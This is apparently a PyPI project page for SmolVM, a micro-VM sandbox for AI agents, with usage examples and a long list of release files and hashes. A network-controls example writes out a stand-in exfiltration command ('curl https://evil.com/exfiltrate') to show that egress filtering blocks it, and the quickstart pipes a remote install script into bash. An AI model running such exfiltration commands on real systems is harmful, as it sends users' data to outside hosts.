Skip to main content

Secure runtime for AI agents, and tools -- free and open-source from Celesto AI 🧡

Project description

SmolVM

Secure, isolated computers that AI agents can use to browse, run code, and get real work done.

CodeQL Run Tests License Python 3.10+

Quick startExamplesFeaturesPerformanceDocsCommunity Slack


SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches your host.

Features

  • Sub-second boot — VMs ready in ~500 ms.
  • Hardware isolation — Stronger security than containers.
  • Network controls — Domain allowlists for egress filtering.
  • Browser sessions — Full browser agents can see and control.
  • Snapshots — Save and restore VM state instantly.
  • OpenClaw — GUI Linux apps inside a sandbox.

Use cases

  • Run untrusted code safely. Execute AI-generated code in an isolated sandbox instead of on your machine.
  • Give agents a browser. Spin up a full browser session that agents can see and control in real time.
  • Keep state across turns. Reuse the same sandbox throughout a multi-step workflow.

Quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python tooling), configures your machine, and verifies the setup.

Manual installation
pip install smolvm
smolvm setup
smolvm doctor

Linux may prompt for sudo during setup so it can install host dependencies and configure runtime permissions.

Start a sandbox in Python

from smolvm import SmolVM

with SmolVM() as vm:
    result = vm.run("echo 'Hello from the sandbox!'")
    print(result.stdout.strip())

The with block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.

Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox

Open a shell inside a running sandbox:

smolvm ssh my-sandbox

Browser sessions

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

smolvm browser list
smolvm browser stop sess_a1b2c3

See examples/browser_session.py for the Python equivalent.

Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing internet_settings:

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked

See docs/concepts/network-egress-controls.md for how it works under the hood.

Examples

Getting started

What you'll learn Example
Run code in a sandbox quickstart_sandbox.py
Start a browser session browser_session.py
Pass environment variables into a sandbox env_injection.py

Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

Framework Example
OpenAI Agents openai_agents_tool.py
LangChain langchain_tool.py
PydanticAI — shell tool pydanticai_tool.py
PydanticAI — reusable sandbox across turns pydanticai_reusable_tool.py
PydanticAI — browser automation pydanticai_agent_browser.py
Computer use (click and type) computer_use_browser.py

Advanced

What it does Example
Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem openclaw.py

Each script shows its own pip install ... line when it needs extra packages.

Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See SECURITY.md for the full policy and scope.

Performance

Median lifecycle timings on a standard Linux host:

Phase Time
Create + Start ~572 ms
Ready to accept commands ~2.1 s
Command execution ~43 ms
Stop + Delete ~751 ms
Full lifecycle (boot, run, teardown) ~3.5 s

Run the benchmark yourself:

python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v

Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses Firecracker, a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.

Contributing

See CONTRIBUTING.md to get started.

License

Apache 2.0 — see LICENSE for details.


Built with 🧡 in London by Celesto AI

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (999.2 kB view details)

Uploaded PyPymanylinux: glibc 2.17+ x86-64

smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (993.7 kB view details)

Uploaded PyPymanylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (994.1 kB view details)

Uploaded PyPymanylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (994.0 kB view details)

Uploaded CPython 3.13tmanylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (999.2 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ x86-64

smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (993.2 kB view details)

Uploaded CPython 3.13manylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-cp313-cp313-macosx_11_0_arm64.whl (412.2 kB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

smolvm-0.0.9.dev0-cp313-cp313-macosx_10_12_x86_64.whl (416.1 kB view details)

Uploaded CPython 3.13macOS 10.12+ x86-64

smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (999.4 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ x86-64

smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (993.1 kB view details)

Uploaded CPython 3.12manylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-cp312-cp312-macosx_11_0_arm64.whl (412.1 kB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

smolvm-0.0.9.dev0-cp312-cp312-macosx_10_12_x86_64.whl (416.0 kB view details)

Uploaded CPython 3.12macOS 10.12+ x86-64

smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (999.1 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ x86-64

smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (995.8 kB view details)

Uploaded CPython 3.11manylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-cp311-cp311-macosx_11_0_arm64.whl (414.0 kB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

smolvm-0.0.9.dev0-cp311-cp311-macosx_10_12_x86_64.whl (417.5 kB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (999.2 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ x86-64

smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (996.0 kB view details)

Uploaded CPython 3.10manylinux: glibc 2.17+ ARM64

smolvm-0.0.9.dev0-cp310-cp310-macosx_11_0_arm64.whl (414.2 kB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

smolvm-0.0.9.dev0-cp310-cp310-macosx_10_12_x86_64.whl (417.7 kB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

File details

Details for the file smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 433cafc9246d10fa2d98039cc330a08e0221e2e8b287c7192220deaa7ddeea31
MD5 7a4b8f638dddcc0de72a2b3524ad0291
BLAKE2b-256 eb75078399ee74294954cd3d03cc8c8b697e87e7586617b0d74096abf3740ece

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 05bceb7f7a316ab88ebe4b00480d3210f265c0ee0b2e53803e8ab0be4bfb01d5
MD5 d861788ec1e250a8df1ebc3235dbd26a
BLAKE2b-256 86e64134b5a8c75ad72ec05cb4ba350b63da2172512b10eae0215e01f84c0644

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 17bc43c707bf2b80716d3c16466d4af221c6899d5d2922ec335571eff76cba3a
MD5 8eaf0b5e99ceeb825c4fb39181f69d32
BLAKE2b-256 33229109e400df7bfe81bf828da516eeed992b823f6791bc92e628c8678d262c

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 5f8c0b1a66017e98ab59935ac2001e524ec2b4c1cf4eb8bf20e75f61e6ef76a5
MD5 c7937c872ae1e222db059dbeecf371f9
BLAKE2b-256 9bee8f1a3d32a871f0da8d27d5c03129e01b6e709d23b4a08ab877f816300530

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 651d36a5edf0c94a222bdcc1daac2245360275bd4385e28edee444469c3a28f8
MD5 c0f214f271387c06483d24ef8adc3203
BLAKE2b-256 1fea26fb1cb61da02a717032f02c6745110a98b811c160a0c398be25b2d6d239

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 0f4f6ef4eadf105a16ebe939e7ee552427e019bfcb7cd921098c75096570a96e
MD5 4284aee8ccce4246a6ef9889ebb3a29e
BLAKE2b-256 efe52ce2d00ff328f17b3051a1b39b7d02aff5cc94a0c3aa479f0f0283759ec8

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6670d4242fe28008ec1658629439d4185bfc9a04d97396cfe10c591d36a009da
MD5 e41dec7fc90d7b51f9a627762a5f559d
BLAKE2b-256 96fcf38a6cc1f2ceeed610245363b642ee9e75bd2aa089f2ffee3ede6b9f5c7b

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp313-cp313-macosx_11_0_arm64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp313-cp313-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp313-cp313-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 e2ccda9f0f58a564723bf2031515ed08b2a753a721668300af0dd6bbf4b7ccf7
MD5 c27e021394f479312507303e0bb54d74
BLAKE2b-256 ba55023013730340380730e44917c6aa3202fc778cfdc40da51f88adaddc4dff

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp313-cp313-macosx_10_12_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 8eb2167df48dedb2e66e2c5d1e1b7d75ce7709a91cebb0430e0d59413186ae7b
MD5 b0ae5730cdbf2e4a10a36433dcb1c1c1
BLAKE2b-256 16020d1b40ff781613787fc60bfb0f3925490815f87c6af9203a3871514c7e1e

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 bb329a04bedc33b96ffd68c0817c919e17272555b5618a6d4e323ae8af4e3f96
MD5 63bba358b8b3a7869c085c6e5a0f5b52
BLAKE2b-256 aa9a083b8ddc6b332b292cb9be08defacb590d46b471b85e8e6c62e05f03a98f

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 a58e7c9ed610b9a93533d2a6fc7c3b0471a70ade47b6f4884229d965072eab3e
MD5 af9e99179f015cb21ae2a6cd830d6301
BLAKE2b-256 e3f64396f7c4335c605fe849b6d17345b70cf9ef6b2bd8875aba9b2bed71380a

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp312-cp312-macosx_11_0_arm64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp312-cp312-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp312-cp312-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 961fdef5c5ff0755dc0950150c761ee3506ad5ce5caca82fe5a14a8022fddaa9
MD5 7e33d60fcfddcd210b38d3366d8cc505
BLAKE2b-256 22b05fa3eb775f48ab025ea297a92ee7cf0deefeeec235f69298e0743266a6c7

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp312-cp312-macosx_10_12_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 cba023be98604d874c034910741ceba70571fcfdf0488133a4e48517aca6bde5
MD5 eb6e7c86a86248062b93ac1513ec4831
BLAKE2b-256 12b4a1e02c24d63fabf72e03a0a3d9931126fc70da31eed79b361e9c56645b9d

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 99d15852948f47c379a06c208e693f3604b26fd13eb76398017885bed5128908
MD5 6cafd3c87cde141bf8b0e50ac3ba0c33
BLAKE2b-256 409994a322aa7ceeef76a7438d9092b533162ad63b0f8fffa33ba24f5640c8c8

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 4b51c12e9bee53cf842cc1143071b3684b26ab075f6ff97bd115a0d0b63fa922
MD5 0145a3f050457301c6e311f1dee1fd9a
BLAKE2b-256 92092a8cb0c5be3debbc678d22a7456eb31fd7dbaab71da456dbfbcf306c2e26

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp311-cp311-macosx_11_0_arm64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 291412ed7e8f61455a781006a25107014f86b8155548eb2ec69eeca690b292a1
MD5 48ca7641ce96a6712736f40c605baf2f
BLAKE2b-256 02ba42519ecfc54de1926cc5bd55f012ab838d561931e0a4bea73bac662a112c

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp311-cp311-macosx_10_12_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Algorithm Hash digest
SHA256 d3785681ff0129ab19ac7f5c0c5cecf2888280d55ab6bc590b29062432e4d0ac
MD5 c9dfd7ba8128d3a6564ee6c12af71a65
BLAKE2b-256 7fb52c3629d172dd3627426e2ef243705495ad1ba432f8e81c68cdc951532ab8

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl
Algorithm Hash digest
SHA256 4b2466cfe17a142766b7cca0ecb0898848de096456f37b076d5c72988706ed73
MD5 a47cf263ce53b82c9be1c590fbc8a422
BLAKE2b-256 4d6552e00ee0fc7792b7ef18b695d2ddd43cd793358811fa8bb63da696eeac11

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 d99e85b470f49b40a1ca1e57036242394b9c80c1cd5b6647b213dffb98eec290
MD5 a962674bea4412a0fbeabeffc62813a9
BLAKE2b-256 c54c8d8b2e285054f41b98e6642b40cd15b45b7c6956890e3271ba36e5dda598

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp310-cp310-macosx_11_0_arm64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file smolvm-0.0.9.dev0-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for smolvm-0.0.9.dev0-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 e9bf4792eb0d0949a48a0ff9197651d9a31e590742d2d1d452a16fa54e618787
MD5 b64a48df800dd325aac2add5571db77b
BLAKE2b-256 665d4b306d490db9d0992646a0831545219c507b6c7ff49529ef48440818976b

See more details on using hashes here.

Provenance

The following attestation bundles were made for smolvm-0.0.9.dev0-cp310-cp310-macosx_10_12_x86_64.whl:

Publisher: publish.yml on CelestoAI/SmolVM

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page